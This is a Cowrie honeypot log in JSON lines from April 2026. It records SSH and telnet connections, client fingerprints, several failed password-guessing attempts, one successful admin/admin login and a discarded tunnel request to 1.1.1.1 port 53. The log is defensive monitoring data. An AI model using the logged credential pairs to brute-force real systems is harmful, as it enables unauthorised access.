{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:33:22.179154Z","src_ip":"159.203.92.129","session":"0c9b066a7574","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ade","password":"ade","message":"login attempt [ade/ade] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:33:22.196289Z","src_ip":"159.203.92.129","session":"0c9b066a7574","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:33:23.203492Z","src_ip":"159.203.92.129","session":"0c9b066a7574","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00109887123108,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:33:50.214144Z","src_ip":"102.135.170.60","session":"a8ebf3e628c5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00162076950073,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:33:50.839467Z","src_ip":"102.135.170.60","session":"2185b681e01d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00185465812683,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:33:50.844064Z","src_ip":"102.135.170.60","session":"252beef7a820","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"167.250.105.129","src_port":6850,"dst_ip":"159.203.135.109","dst_port":23,"session":"d73688980c35","protocol":"telnet","message":"New connection: 167.250.105.129:6850 (159.203.135.109:23) [session: d73688980c35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:33:54.697657Z"}
{"eventid":"cowrie.session.connect","src_ip":"167.250.105.129","src_port":11133,"dst_ip":"159.203.135.109","dst_port":23,"session":"ba4d59f52bdf","protocol":"telnet","message":"New connection: 167.250.105.129:11133 (159.203.135.109:23) [session: ba4d59f52bdf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:33:57.192899Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":34792,"dst_ip":"159.203.135.109","dst_port":22,"session":"c8680fd82af0","protocol":"ssh","message":"New connection: 159.203.92.129:34792 (159.203.135.109:22) [session: c8680fd82af0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:34:06.854231Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:34:06.859366Z","src_ip":"159.203.92.129","session":"c8680fd82af0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:34:06.864647Z","src_ip":"159.203.92.129","session":"c8680fd82af0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"adela","password":"123","message":"login attempt [adela/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:34:06.876133Z","src_ip":"159.203.92.129","session":"c8680fd82af0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:34:07.885194Z","src_ip":"159.203.92.129","session":"c8680fd82af0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"117.247.23.131","src_port":54862,"dst_ip":"159.203.135.109","dst_port":22,"session":"3d06db840ab2","protocol":"ssh","message":"New connection: 117.247.23.131:54862 (159.203.135.109:22) [session: 3d06db840ab2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:34:20.875538Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:34:20.880820Z","src_ip":"117.247.23.131","session":"3d06db840ab2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:34:21.624608Z","src_ip":"117.247.23.131","session":"3d06db840ab2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"chandan@123","message":"login attempt [root/chandan@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:34:24.562762Z","src_ip":"117.247.23.131","session":"3d06db840ab2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.5","message":"Connection lost after 5.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:34:26.406032Z","src_ip":"117.247.23.131","session":"3d06db840ab2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":54840,"dst_ip":"159.203.135.109","dst_port":22,"session":"33f45d111240","protocol":"ssh","message":"New connection: 159.203.92.129:54840 (159.203.135.109:22) [session: 33f45d111240]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:34:51.447371Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:34:51.452101Z","src_ip":"159.203.92.129","session":"33f45d111240","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:34:51.456541Z","src_ip":"159.203.92.129","session":"33f45d111240","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"adela","password":"123456","message":"login attempt [adela/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:34:51.467668Z","src_ip":"159.203.92.129","session":"33f45d111240","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:34:52.475034Z","src_ip":"159.203.92.129","session":"33f45d111240","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.227.62.247","src_port":33562,"dst_ip":"10.17.0.5","dst_port":23,"session":"3206d833e672","protocol":"telnet","message":"New connection: 165.227.62.247:33562 (10.17.0.5:23) [session: 3206d833e672]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:34:53.323468Z"}
{"eventid":"cowrie.session.closed","duration":1.8978025913238525,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:34:55.221150Z","src_ip":"165.227.62.247","session":"3206d833e672","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.227.62.247","src_port":34024,"dst_ip":"10.17.0.5","dst_port":23,"session":"d00bda0b289a","protocol":"telnet","message":"New connection: 165.227.62.247:34024 (10.17.0.5:23) [session: d00bda0b289a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:34:55.273808Z"}
{"eventid":"cowrie.session.closed","duration":0.2251734733581543,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:34:55.498879Z","src_ip":"165.227.62.247","session":"d00bda0b289a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.227.62.247","src_port":34092,"dst_ip":"10.17.0.5","dst_port":23,"session":"5f476b374298","protocol":"telnet","message":"New connection: 165.227.62.247:34092 (10.17.0.5:23) [session: 5f476b374298]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:34:55.573759Z"}
{"eventid":"cowrie.session.closed","duration":0.13718938827514648,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:34:55.710821Z","src_ip":"165.227.62.247","session":"5f476b374298","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.227.62.247","src_port":34194,"dst_ip":"10.17.0.5","dst_port":23,"session":"dc5cb2442483","protocol":"telnet","message":"New connection: 165.227.62.247:34194 (10.17.0.5:23) [session: dc5cb2442483]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:34:55.916309Z"}
{"eventid":"cowrie.session.closed","duration":0.005780458450317383,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:34:55.921908Z","src_ip":"165.227.62.247","session":"dc5cb2442483","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":37740,"dst_ip":"10.17.0.5","dst_port":22,"session":"7194694a9d7d","protocol":"ssh","message":"New connection: 87.251.64.176:37740 (10.17.0.5:22) [session: 7194694a9d7d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:35:08.094090Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:35:08.099131Z","src_ip":"87.251.64.176","session":"7194694a9d7d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:35:08.195582Z","src_ip":"87.251.64.176","session":"7194694a9d7d","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:35:08.521981Z","src_ip":"87.251.64.176","session":"7194694a9d7d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:35:08.694243Z","session":"7194694a9d7d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:35:08.843220Z","src_ip":"87.251.64.176","session":"7194694a9d7d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:35:09.077878Z","src_ip":"87.251.64.176","session":"7194694a9d7d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":45304,"dst_ip":"159.203.135.109","dst_port":22,"session":"919244e860d8","protocol":"ssh","message":"New connection: 159.203.92.129:45304 (159.203.135.109:22) [session: 919244e860d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:35:35.960475Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:35:35.966355Z","src_ip":"159.203.92.129","session":"919244e860d8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:35:35.971879Z","src_ip":"159.203.92.129","session":"919244e860d8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"adela","password":"adela","message":"login attempt [adela/adela] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:35:35.985058Z","src_ip":"159.203.92.129","session":"919244e860d8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:35:36.992398Z","src_ip":"159.203.92.129","session":"919244e860d8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.01143646240234,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:35:54.708952Z","src_ip":"167.250.105.129","session":"d73688980c35","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00367784500122,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:35:57.196448Z","src_ip":"167.250.105.129","session":"ba4d59f52bdf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"167.250.105.129","src_port":17065,"dst_ip":"159.203.135.109","dst_port":23,"session":"077651474a9f","protocol":"telnet","message":"New connection: 167.250.105.129:17065 (159.203.135.109:23) [session: 077651474a9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:36:01.590249Z"}
